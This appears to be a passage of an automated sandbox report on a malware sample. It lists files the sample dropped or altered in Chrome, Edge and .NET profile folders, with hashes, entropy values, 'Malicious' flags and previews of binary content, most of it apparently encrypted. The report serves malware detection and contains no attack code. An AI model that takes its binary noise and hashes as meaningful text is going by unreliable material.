SSDEEP:	6:/H+YnKIiRVZjx6/Cu7KTQ6sJkwkIzC++HKX25GzdsUsaNRNMoAUwx1lnIS1WdNcq:WYnKIiRVB8/CuO6kwNC++Hl5U/saf7Ay
MD5:	5D8650559E057DB0B91BE04B2AD46329
SHA1:	2379433ED8AF8FC998198E51663D108F9139F3F3
SHA-256:	AC6D19FFF6C61303E830396B7DC50F80DEFDAC98AD95C5CBD6E52889C416D83F
SHA-512:	5866B5DF36A4E638D68C54249837CC2FAE71D9B42212EB0746D4181498968F16A0FFB9ACD4A1D23D1E405B56489423FD5F01FD728DD528C7C2405C72167D1988
Malicious:	false
Preview:	e._5..<......y....zsS....2...]z,.[...G.#.W.-;\|74%_..yx.T....>.+.k.}.X..]..-...}..Z...?.9.Vw...G..aj....v.{4.,...........H#}..K$wU..+b.K..F.].D...... ..Tv......oj.E..Z.\|Ml.2.X.i..9.&..2.....Mi...aS..U.......].]*$.;2..>9....Ss..9g#../.$.Y0...<......RMj.z.1...G}.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	155717
Entropy (8bit):	7.998791556298528
Encrypted:	true
SSDEEP:	3072:q99XqSId2qP2kDLEoRvk/n60ZBYLuTAwv0mhU3s9WUSSaDu7k96s:Wpsh24Ikvk/6vL/wsmb9Af0s
MD5:	C673B3BF1712F1A912B8ED2E7813F8DF
SHA1:	507377AB2724CBDAE3893E73F7C9374AEF42DC29
SHA-256:	D814BD3E0E77AA8B5207BF623692DDBFD4AA49B9985CC04D077ED20BDF2675C1
SHA-512:	6E6A6DE32768632B6FDABBAEB2C0C80F7C1334C40EABA87DF1AB641EFA4B62C029038B1CD436571C2118306821EC208FEF56FFBAB55CA2E4590D008899FB9FEF
Malicious:	true
Preview:	.......O...r.?.8.IPA..&.......m=...$..)....+.n........+.g........}7..^.)>.-..M..c...R.c..=../.2.i.V..=.....n.:'Go,...~...b......?.....p.cz.'78:.....USK.....xMsv:...f.(.I<....>T..3aF. Rn..g...u@.....\|..cu.nS8.AN.0s....K!.G....J......5!4.>.w....N......U...........d.Z8..b..b~.?-....>..+3.Ib.r}..JpP....J.!S......I..P.~......G>.:.Q.j.TpS..y?.A..v[.2W..SG..q./X..+..,E9H=.{......\|%A1......eV.I.....7..Hg..jSt...]~.D...a..Y..W}~..1.A.......0go0...1.J.N!.wroQ.0..,.g....3N...A?..fV..r....\|.z...T.%..vK`.X.M.....8.......?..0......9.(xK2.%...y4...I.9.3Ej.C....L.O...O......Gk..9......d>+VK..dE...Wf>E..}.`...\....Ge.......GG.S..a.=..s.,..q..).Q..p....q...(..P........o!...#l'....._...:7.`y../...^..ZK.....{..#(?..E[...cN..N.....p..r.7=.l .).....J.v+.......a....5....oD..+...U..8i...#.`.."n.XF<i`....V.V.V/NY.F...A.6J(.......s.....0.Y.gwb..oo1U...3\|.U...\>..K...E...uL....@.".PvQ&[.#.........!.F...et..2.g.A\...5"2(..2I.o5>w.U.dch."w...e.1.m..}..$k.......b

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.317511989240338
Encrypted:	false
SSDEEP:	6:bCBtgzTsFzhUfSgLFrGVDPcPqfX05vT23FwSBzUv4pUHEwDwDpQxLaXJ7PknIS1+:bJfsrU3lGVDPcPs05qxUyUHEwc+4Z7dB
MD5:	B83CF72CF166D5FABBCB39B4380C36C7
SHA1:	660ECE34F451FBEA646A4F752358CBDDD87C930F
SHA-256:	EC319575CDB1092801E906A695341E35D1CFF0294E31E634FD8D051E6B5EBE8F
SHA-512:	B52C1934A830D9511159D8B795959DE158DB1ED1957FA982F46727FDD2E8BA226717221C5B279B0D196DAD6292D0C681AC8BC39DFBB07B0596652FB0870A14B1
Malicious:	false
Preview:	.U6.,)*..E.;n.T.....y.t...i?...Ie.r.=L...=.."S...e......,....._W."./.}o.n..%^..q...v.......2..'k......;..0.e......7.D...:......!....Q.....tv....hh......33UU.........,.y.....<..s.........2.........@..B.......uO.K-.%..n.U.6.r'.y5eNz5.q.......N./...........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0\model-info.pb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	499
Entropy (8bit):	7.480263330593263
Encrypted:	false
SSDEEP:	12:q97jCa5uckW4AAcleS+UzsGBlWBAVfLYuSUdNcii9a:qFLTbAcledUwsWyUd2bD
MD5:	0540080FAA789CBFA726721BA131F28E
SHA1:	474B7336068999A1B6B522CCE675045482167FBB
SHA-256:	EF55D8322057D9609BAC75C7CBACAFB4DA71CBF827E3CA8D096964AFB8E47364
SHA-512:	5BFF749DDF8F8FDC59DF74944267CF30AFD7A3C19678BFE4EDA06AC45CE335307ABCF73719B476736E64C601C74189BAC94D620739A910CDCDA33528D6EC405C
Malicious:	false
Preview:	.......F.^..GqN...WTn8..l...;....h.0.lF.b.F.q.......2..d4...{QQ....lnp..H...D..&..7...TV...4..).T....]l:..~..9e.:../fm............s.wO.D.+s.."CO.!adBtv...C.b.FW...T.........3.j......~..E'..E....G.......~4s......Z;.........ao.....B.L.....H\|..A+.E.{j...h.w.d./%Sm@`...6..65....,..&...s...,.&..Od..\....34.1.j.x..h..{......xu.....i{'...&.....){gS+B.Gi(...D[Z..8.-.^ .os#.x.p..fy.h.+..[.....yH....(..v..1mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0\model.tflite

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	14258
Entropy (8bit):	7.986045095005898
Encrypted:	false
SSDEEP:	384:Kr0chHoVE0CGLPLQTuowsycS4BcHBaQ5yRR9Cp:KochHoVELGLLQgkBcHBaQURR9Cp
MD5:	1BB5E9A3BBA198828DA06D394EE24791
SHA1:	5860D17E3D1C23BAD674CA6F19F34F50AC6401ED
SHA-256:	15F58AEF4C10BB4D7F4A32B1AA85BE153BF8E4144BA94E1B83067CE8BBC11C6A
SHA-512:	6321560A34C262030171A2A341CF7136ABA50A1F4C2F4AC391ACCE9EA9A84ED9DABB5B62B5940ACABE4370075D2BE2786B8BCF38CDBB83EF63F97B92D579E28B
Malicious:	false
Preview:	....T.d!=.>.....I.\..D......g......y..H.^.F...n..........D.d..t%..M.~....z.d. ..$...&/..(.2.`..Puiu..Bf.R.]......^.$..K<.."........f.....Ts...x..8D.A0 bt.5..I..f.1..;f..x..K.E.\|d..xF.%>jp....... ..,.t...t.....?yu..h..........K..s.@b.....M.Lz......Y..,_._W#..f?..0..:M.7k)...U...^,...J....K..Qb.l.s!D.o(..X..0..wY7.G.!m........^......4.?.3...o....._....y.2.Le..h\.Pb..}..2r..A=.....b...+...D.&.\|........a.r.......&;..GW.P;}fv._....u....`I.....a......u&#..}..Q.Q......M..n@...4.o.u...z.G....C.U].....m....E.C.OB..K.K.,....f..6..E.a.........2u.cV..\9a..(.2.ql.,......W.j.5ea..[/e......2.{..k..(w....J.....)....cD.k:...$.T..-..E,..P......bOq......Hx..]......yR{..9.c0..U\|....P>.....T...v...4.0{..........B. ..n{..Cq1 ..HF4........ j...(.v../.%>.....G.7$c.v..z...VHc....M.\.L.F...b:.....OL.D.&;@...........!.JXc...%p..TK..K7.....)....n'.>.@............k...V......4.7%.u....V.-. N.q.fnK....i)..b..'.W.V.C..<\.r...4..-].1L..f..\.6..........\|.R...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500\model-info.pb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.341326364231975
Encrypted:	false
SSDEEP:	6:6BSTxNgNMpY5mmQkks6Gkr+h9MJm4+qaiGkAUMegpnIS1WdNcii96Z:k806pY59QvTI9Kmv/5US6SUdNcii9a
MD5:	21B3F3664A7A52DE9707A00B23460845
SHA1:	80500EBB9A4B11C9BD120610F1CB94F366697971
SHA-256:	A46B13FBE6F2F72DE05F91E9B9C5D40C4D98A434C21AD722D1143526BBB9780D
SHA-512:	2F816776720F4E77A52996DA596088829742047215E62F3CF2A24E941F8C7E043E538DECAC00487615CCD4531243171DCDE9D7FC382934BF0D95142DCE7035CF
Malicious:	false
Preview:	....cQs....h.,.".*:.X.d...\.6.t#..P.'n.u.....d.$..............?....iz?^v....z.{......=D{X3...R.$....._.l....H.W.=....D.....:..........6.0y........J.[...]..vL8.Ar......K1-.@..G.....M.n.P?.D.S9.,.v....^..:...........Y>.1.K.?.d8..k..v+....qi.Q...k!s.5...G;mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500\model.tflite

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	392382
Entropy (8bit):	7.295229113696778
Encrypted:	false
SSDEEP:	6144:XgO0igYmcn+NSC0srQ4jXpqQC7SaPGNFzq/RnfAmn+qGk07U0z9zMfp1BLcpxd/L:XgpEbJqnXpqQMLuNy5Ymn+tnOp1BLMXj
MD5:	F123B10081DB9F681116C6BACB37E60D
SHA1:	4F3676AEDC90CAC5A4EE0C74D33C7586DDC8D5C9
SHA-256:	A55D75A0FAE2357705F7A63FF06AD0EF4D6724F79529A6BFDB7FD32C2A625D12
SHA-512:	70E353550383813DD1300C90383AEBD4E4CB50AFB87073A45F1D06C35D3019D407F47F3889E2111F141DEE28BA4040610FC44939C87357D97F74E89A57C39B0F
Malicious:	false
Preview:	....TNay.,.n.a...r..e._a....Uc14..^..V:?.`.B....G./Sk.CK...E/.7.r"....N.g.."%....~[.."p...P.}8@;v.q..!.`.4.E..<...f..d...C..9T..._Z[bK.+J7K.l..b..+..y..i.Z7U-.....(hs'cM.L...G....Z.)C.\[.@B?...,.T..IE..sA(.'p..h..F..0.M&..s.f..?.9.eNQ."0........mI..m_~.CQ...3....D...<h.F.-....a@.....&.......j,..1CV...x...;.krG...5{..~..,......AS.b?5..k......`:...........I......`B........(...0.(........N...W....V....C..........-.1.o..."WOa.\|...\..`]mf.Y..luI&\|.L...;..U5.......@...}.U.....E.iqa.[..W9.}P...9.k......9'.s.z>=..,2j..A..*\.YK ..G..N.&....~..../......J1...tN.p...#&......2.CA.h.[.^...^.4.!.o+..~.u.g5.}...~_.'k.p.._.<....ps......<..);ey.Y...]:.L........"I....V.x>...We[....I.....?3.R.'.....+.c...;.Y...F.v.g...HW`.'.........$g....!..-.O...'....#.A$.......g.......:o:.b..4...V...g..4k'Y...ZJ..Lf..l$5.2...Qc......J.9.-e...y..W.oa...S..~...$g!._...=S&.m.F.BuoU...~....8.3...^d..4...3....1HdrQ.m!.@IHu...$J.....].<V.:.+.Ws.h.........-C.(...p..,..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.8546426729621865
Encrypted:	false
SSDEEP:	24:GpYbi3OsKHupan6GnHIrkdqE9Yn8WPvNTRkEYB6qcvu+zULp0pdCf9o2bD:8T35psnHYcjq8WH56NbcTzmSef9bD
MD5:	14998B79E8845B8A97342A1F26BECE6A
SHA1:	1F4AFB6BF5415D4DEE9DDA0ED93FD03F1BD4FC63
SHA-256:	804A4C809E4EC2496FE052476C67510FE9E4DD967547008227FF6C2A341090B6
SHA-512:	0E4C01DA92E0E33D6172FEF01319C6C9E9060BAF9C99232A97AB9EFC578C443F4992A2E2A5BC9215C24DAA2881A77C194A62F19F3F6C54D60D15207C8E39F964
Malicious:	false
Preview:	.h.6...s.(;...?.-.%.S\|.?...&.....(.m.).C.-.."...r....E...l.C.....t<@j~.w.m.e..[.T..q..?.e5.pr......aX0....aCv.n.....C. ....Z.,.H^x.<O'..eO.+5.....J...:.6.U<.=...e.D.f.6a~......=..3.........:j..\.tr...W:.$>6..j.....R..5.uk.........;Sz..P3.!.q...Z..h...Y.J...X..B.\|...N.....\|frE."....O....D.$.np.....N...c0.`.a.$Z...u.?.....3E.8..,_o.O..Wj..J..8.....**8.E.(84..tl.3...K\|[.'2..0<.@.=.(..<....3.$...."~Kzg>....w3;ha..X...........d)..R..d<.3.`....K., W.;......k....5+..h....A]..E.. ..d..h...33.j^.=..a....'A.w....Yq...[......H..-...N..-.Mm.zI86.X.18..?Ip.f4k.....9.4..0...h...M.6.D..!-...:...2q.... I.+Y..w..}b..8G_..F./..... .....no...>.H.[M........P...z$F..{....'..@..!P-.K.I.>.L..h.e...&c.=l..by....m.i.@.....5.m.=P.%... .....9....!-....$Z.o.D..R.Z;....M..7..y6zM..aZ....\O.....Gd....k.~.:..."..z.`..Zs....:=.x...u-.;.TA..{....mZv.....g3.-...."7.rg.....-...%:.6l.:0.......e3^E..T..P...5.=...j...9..xA........\.90.....yK...^:.[...pe..3raF.....OyOf....b...6..m.t[...6../

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	678
Entropy (8bit):	7.645600145053775
Encrypted:	false
SSDEEP:	12:kNFqz6uUxvnvy8rfcras1PX0VmCYdr/gA9Mtl30du1YopfjPISUdNcii9a:MFBuUxvKo4pNPMQg1YopfjH2bD
MD5:	9B900FFA3B3CB2C2886084ED69C3B3C0
SHA1:	EEED8EABC4451EA4F61F400AC03955C26469E158
SHA-256:	4F716D92FACDB53963B6AD2136F247FCEC75E469683674A65FE887017D30C88D
SHA-512:	C58353970EA72D05AA00CE3E47D251F82601F21C45C36FF93C4E7D03D2C1861D5D7BDDA40618750D10090D6E6AB2B81A5AC85C70C5D53AE607D15AE9C06394EA
Malicious:	false
Preview:	2023/d'j..#....p........ma..mI1..R..i.l.R......O.de^1......O.$_.lD' ..\|D....+g..._\A$...i(=..'.o.`y;lQ...k..W...(f..\4.\A.....T..A!...K.....PT.3.a.....R.5.;{.:.,.3W..\|G..)&x...?x...\|..............\|.E.-I..\Q..nQ'".......xo...y..t....PG...........[..m8.q}.\.B1.C<.T.5.e6f..M..a.....0..B..y.C#CQ6o..Wa.1.-A...u..P.....T\.pM.n.R.?. .....]m..j..w6...FY.N.1.3.Lk..YurP...#}...ZOY\D{.N..M.uct.$...`.N.<.O.%..Ab...M....IR...)Z..,.g3UoA..=5v.V?.g`.r...~...-A..wa../...gZ.\|.....p.Br....5%9.A.R{f$S.dS...=ZI.8...).......?..s ....WeL...(s.h0.[AN.W....u+.$..._>?.N..8T..3.....].mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996054712873064
Encrypted:	true
SSDEEP:	1536:uoWtK/P0Y4dxYtSVmlOdX7o+7V8UXSs7RUZq:AyMY4JmsdX7j7V8USs7mE
MD5:	FF560CA3E653C700ACA90BE917E75865
SHA1:	612316DB3FB2488D7543D2E952145585BC88E2ED
SHA-256:	DA2914588DFBBA9E127E534B4E7B84DE7371D1E083580183ECD192EB092CEEBA
SHA-512:	C9C5F37548D63949A16AC7F758DF4AA7CDE3BADEC869BF79E09CF60FFEC610BDA86A89B2D755708A679F02A45B81EE11887A16FF88FFB84D96BC424C268238FB
Malicious:	true
Preview:	SQLit.k..P+.....z."....Y.p....~..q=.K..p ..)V..NC.,...)..Po..1. tr48...,.<..j.\|X.M.......w..dD..;.)..s......(.i.N....+...l.R.k6. .w......M.h..8.....>...K.o..'...4#S..............J}.a+U}.......3....=.....Nw6.XW....A.}-..Nm...&(......g...d...].x....9.IJ.<.j.13.....0.oS..T.M.Q.j.4q..[.....:WN..[.._.......z.p.%p".. .VW:..B....h.Sk....Q.L.PG$0...m..l..\...$(._..j ....e.f.....6.j...4v.g...../..9...9....^..mO........h-4.....o..v..t..\..[^.V~..A...L.G$.rL:.#q.z......Z.^./o..!.U..Z@..:Q..;j..7#/..?..]...;@..P..D........\|Z....=.N./d...wZ.4.<M...1......{....cY5..}p........r..m2........5 8Hc..L..O...._...aY.L.....[..`.Me#..R`....m.`nd.+.L....(-..o....1..?Y..S...S..m.G....+m...I.hhd.lHKM...9".'N(..<vc.+Z.f.c/..R..2..(^....g..p.e.[.../..U.V9pj.U..).5.$+....b.>x.[....1.K....D~......\..!1?>[...../...o.bu.......4[.m&H.~..G..LO-..~...+.:4P.c.P.....3g...}.o..-'G..D_6...~....M..%.#.*I..6.F........-J....e...C.a...Y>..y5...C.../.../..J.Ei.M_L.X.

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.305600325593888
Encrypted:	false
SSDEEP:	6:QdmJlWVpGDKzPHOjGFHb8XZvWqpEjH16CQrCk8NBDV3foiGIo7nIS1WdNcii96Z:QdmO7PujSHgZppEjIvrFi33fJxSUdNcq
MD5:	EDC70E9972A48E2B6E9ACA837DBEF9CE
SHA1:	32130CD4A21BAD439FB442927AF8FFA282D8A41D
SHA-256:	23022A807B1F8AE2BF6FE22318115A6CA680DD97102F3D22CB9B50BBD38D8975
SHA-512:	2644F9C0EC85123DBA01730FE4B89EE8DBD40AA3560D74751324B9B08227E76A65C7FAFD7337B0D116F1831FE9ADBBF74D87A1CAACBFAAEB7113D236E6BFEA88
Malicious:	false
Preview:	1,"fuS.H....GQ\.d.v......T.t.4T..qO68.8........!..0'A...Pz..3N...Y.O.g.+e...N...^....N% .d..."....$..Q4..0.....?Y....e.Ee.kAn.ZL.\|.@.2..S..R.......bv.K5.yo;5.~LoN+..U..#.B....@#.\|..1.*...l.P..t.....La#:.Ek~...a......{4.Emb....Z3...9.F.....,$.....nv...(5bs.y.._,.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.876629411322393
Encrypted:	false
SSDEEP:	48:246oEKK7blXpgmfqf1Iw5MDOKiZMZuKhD:23oEKapSf1dIi2Z1J
MD5:	04294222EC62432C3C4639EF8CF6C7E1
SHA1:	A4BB3D1956DF060BA8DF82E11D278D9D098B2F47
SHA-256:	F8F65E168C9D9DEA5F94C6165812E95A81DD26DC436B653674FB8A6781BD7165
SHA-512:	CFC2E779525C229B6469F6C4521852D949C4307CEDD927841DC2046A5F59D0B79D6B63B6B98239E755E8C7EDB530D67E2F9183634DEE1BFA366696C200951B7C
Malicious:	false
Preview:	1,"fu.....1...v......-...Y.a",.........a.c.~w..g=...w.v.DB^..9......@j.R..\|......y..=...qX...a.b....=)u.~._..!s....S8.a..(,\.:_...fN...]......=.....q...7X.B..P..^..!w.p.O...8...Vp......uy...'......~:W.....AR....yeWi.z..\|ZAwC.}..E.:....^....Y.%X..:[...o.:f?....tn.$......}.q.pA[.).dP.qT#.9............&H.M+vn(.%.....[E.... 0.....,....\|z'MMm.>8]].c..^.+.O......W.'.Z8.\|]jf..fr2..Z...i.o.....%.&.....A..8\..i.Q../.T..1$.....E..5...w".;PM@z.4.-..J..2......D^@.9....g^.v.i......'..D.9.....9..2,s...Ac...q4(4.."...K....6x?./..\|p.........#..k<!.~....{r.;"M).t.W..r]..b...j...g})!... ....J...m...^w.-..cU..b..H.....g..[..CF...by....h.&. ...H....e[...Cc.....pHW.L...U^..5.i..{.....-.S...O..Q.-=.w\|S._Y.U..xx..v&7+_KM.Ho..j4{..T....gcv..Q..........+Qp...<xXy8.J.......u..'L...z.P.W....H.......{..c.!.}._A.busV}.....?U\|9....C..TZK....3)u........^...5$d.....uo\|.n.Uz\|...J..j.9;.Y....BC\..4...XOgjL.C=.2.....0...C+.6...K......0.N..\|.HO.N......X.M..M

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.902786140919471
Encrypted:	false
SSDEEP:	48:o6R6e1ZPTtN4Kt1L7PKT1cMHRD351mPk5OiePBhAlhusD:9Ye1ZLjZt13iFD351+kBePshuI
MD5:	9F9C4B58497355FA68C3DD261C959E02
SHA1:	CE494738AAF7AE25E3D26885864E25BFF9F2D838
SHA-256:	2C2CFFC9B6736C504F6A2205B7C69C4C60F148FD28653118737782AF69440804
SHA-512:	D2A39DD952CD3BC572A478F8F5C1699A215A223512C1DE9E1D2E721FE67711FA39B0A8A8A163F4A388A1CCC5111B4BD39DD2E65C9D397022E9E137833A2721BC
Malicious:	false
Preview:	1,"fu..D...GA.z..xO..J..6_.'\|....3..%.,...A^.Ct~>.y..E5.L..cZO<..J9.2.Z.Jv>...}..L...G...h....Q.!....BZ./o..1...1.....}...k.l....VT.#.:....N.YE.6.t.lh\.....YD.%..uq......-..9...U..1.i.D.K.u...5........O4../...o....H.@...[d...O.HS.{xT.E.W....4!.L..N...]A....^..0J_.[Vq.....=G..D..S.. .ub,...Uq...ZCW....;;....,$)......._aR-...k3..v....h?OF.b..B..!8.i8#qj...G46..<..'..}HQp$....O....j.f.. .^oFc.qc....nK..e.._....3I....['......O{.k............{zm.j\...v!....0w~v..Dm./.$...U...O...2.qc>.d.y..C].\.i.c........F..Y.<..77Q.....y.._\|I..b..x3.\|........t..K.7...S..9..b.2oV.......%..Ob....O..U....!.&...+./:FM.D..%....M."km.N.^.Cu.R"...i94.Mi.;.....>.....i..q..4....S...y...m<.^...h...+.o..C.i.)]..n...2zq=...l.A.h..!.e..4.J..E6......0..E...^...;..u...w.Nq!?7.{..h.u..X4.6..\|.i.'...d...$...V..5A@]1\.:...u.8Q...,.2.R.y\|....&..f.g.O9...&.@..].$\.$..2r...T.....X#...PtZP.4[....H....^<..vX ..m..._I?l.Z*rF..b...M._......i^.w.n...Q..e..p..}.....~JfK..Cd...o....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184826861035385
Encrypted:	false
SSDEEP:	3072:+S8g1eY+aHFblPeGAXoIuKSOtq1NpCGvp5QpNDiDLGQ:+RA+kblPeGA45/NGPjQ
MD5:	AC59F871DAF9A76C4FAB28A0ADB8148C
SHA1:	2175BBD615F1B09726E1B7D8D17003F8F4EEDD80
SHA-256:	740A8393AE9EB4B76832CA1CDA86F5C7EEAFC7B86EF0C34C69B938EAB0DDD376
SHA-512:	933B376C88F05DB1C6A3C400147B8D660CCD7D8CC4F34E07CFAA3C9DC4543F0D2B5B67C368DA856C7ACDE0E23FAA2F4978B8C461A764F44C2C2B5332FED59B54
Malicious:	false
Preview:	.....n...>.pc.....'.!.(..i8.a.Bb..%A.&....y.XH.#........K...i$.O.....q?.jL.M.......E......../..,N.1.....O.Z..c..w.^...-.+I.... .=..........Qt..Kr.v.C4.....%.).~+#._.~...n+._......Hm.p.X1..2.....k...x6..^i....f[F..@.}.,...y]PJR?T.r..R.... ..AP..G.I.3.[.-.5..`J..'n..]...w.\.......1...;...!9.7......8..L..%.;2.%........9O^'.l.Qdvf...:V...h;..^.Z..=..e.s.X..&..X.Vz.....q..w.l.u.7....).8Yd. >...i5...`.F........M....4...1..~...v.'b.h.L .....m_.eIn.......N....NftC....a.../....\|.E.....a.v..>,S-...C..M.2i..Y.... ..8..!9N.`\|8..i\9....t.x..]%....,.....fb.o..%.K$./.9...^..]....E...T~...>..K..lG..}rm.. .4z..4.}..lm)...1R.E.B)......?"Q.1I..EU.\.d.p.[.......xNN4\|2..a{=..=h.(.FO...J..lJ...m.....7..lx.$.zI...f...H.dQ:.;g......B...l;......R.9{.......8..m...o$.Pz..9...>...,.a.y..p6.Q..)^.....g.N..}..E55.@.....9.....5..m..H:.c.P.Y;.=..'.%....g...Q....3.d.....1x....A.h...Q......Ai....M.&.+.NH.bb.;.~./..p....9..J..\k.........b....*d}.V.>.V..VD."_..$

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	480528
Entropy (8bit):	6.5705409809626705
Encrypted:	false
SSDEEP:	6144:5A5UyME6f/GpuGETQE+8zuh1b/pVd2wTZ0OG1yJG/dKW/1:5AjMn/hGyQ4IRVowopV9
MD5:	4918C557FF2E46347EB928660991519D
SHA1:	A0458891875406176412C2A0494E4CAE4496F4EC
SHA-256:	2CF92132067F29109296151689189D17BF32D535DB87EBA61B9B2A2B88DA53E8
SHA-512:	A26C626443347E64EF0FED85CD174A34157FD2889AA1A59ADC7EAEF312C7A9EE0D1EC5756FA850BF51A96984EE4727BF3C96EE7283AD71F1C49F364F66C6CC22
Malicious:	false
Preview:	...m.&.BR..!.......$.dC;.%........Xk..@.v..(..=......>..2R7..%".........cq?9.P...N{.g$.j.Z.Wm.c..H..X.ia.3..H.~.{[.T....D2M.`...[=%......6..x#=#.........pI.1n>...^..K....^.S.K...gp. >5...Yah......?P.~.d^.x....Z.s.!.kS..Db...g\|f.GZuM,.X:g...v.IO...2..D...,.-.0O.:V..:.".....M..........Tf.....m..,.o......s.r..eE~........Q.7.m.M.q.W.R.k......l...".<...Y.Nh..V..{C..-t...j7..<.V$Hg.s.$0&.k....lgJu5f..T.@.y5=.....=..wm?.......u..^.l.....:.....].Z...k=..L..P......V...V[....}.bx{.a..>}..oO..b..1...?)...k..y.........$aG?e...\...d...q.6n..(;.....,...a.J2{..K...{ ...n..%...p....Lq......B.{...o../.>+}...q.G}uATe.5...e.\|.v.j:...u..4...xs.t5#w2.{b...0$...EDH3;..t...d..~g....e..j.BA.>..].=.N...a3}0...Fu...+.<.%../.6.5..#.......S.f"k=.L..YKc....`...Y.q.....j.X....!f 9-z..i.M...=.....MT.(.../..9.JK.}zq...<%.`~h.D.2w.......wa.'jh~......H.4.....S..a...I..xs.S.n....2..^02.8I.~........r.5..\...b......#.^......I.8.\|F.\|5.#K.~..].?g...;..@} gUo..g.0;..yp>>..WL.T@.\Tf...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	674
Entropy (8bit):	7.621426141608375
Encrypted:	false
SSDEEP:	12:k/RlIv/X8acUPd6S5nz5Fono94D/L0OcYsGpbjhSSUdNcii9a:yI3eUHz7oo9c4Ocehh2bD
MD5:	1ACE19028D1E48356E0E204BD880C451
SHA1:	402A38D680978E381DFED699456FFEF557441DBB
SHA-256:	A2370B9648D4AFBC286BD5512B147406C623344C746C5E60C4CA888F1FD9F15C
SHA-512:	ADDD608B0FBF1BE806B86F4438B7FB446DFBC1059DBD28B02B815C3BECA31A3A9624D5FCBF696688C2013BF9610D360BC22DD4EDCAE17FD23C985CC2BC6A69D3
Malicious:	false
Preview:	2023/..~.c.......nN......?4..t=..c.X...".R(.M..T....?.R...U.V..N.q.t..G..fU.v....F-..U..py..6.,.,.....u..o.3.....l+.".}:nsjU.c.!m{2...#..M.x@z.F..m.{DE.(~:.E.d.pr.8.......e...5.<....5R..(;Z3Y`.!u../6..8..l..'.h.a.M......FnzNd4.A6.4.....+....1'..1..qC.\.+.-9wP....4. .._.g.Hv.\...c=.~tc..1..."ng..O..B).P.MPD.........8i3.,.f.....n....7Q......t...v.*dk....I......"...\|..N.R.2...7w.tW})p.z'.cS{.......QR..FkV..7%!..~AO.w4<H.y..o..t3..=........&v\Ru..L.]iTI..).t.U.........E.D.^..m}J.vR9.t/.2....(.9>bQ..V..y..vh.........HLkQ...R?ZJI..+D..biJO...%..P.NLN..gD:R',Xa.%.h-FZ.Db!.zFmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

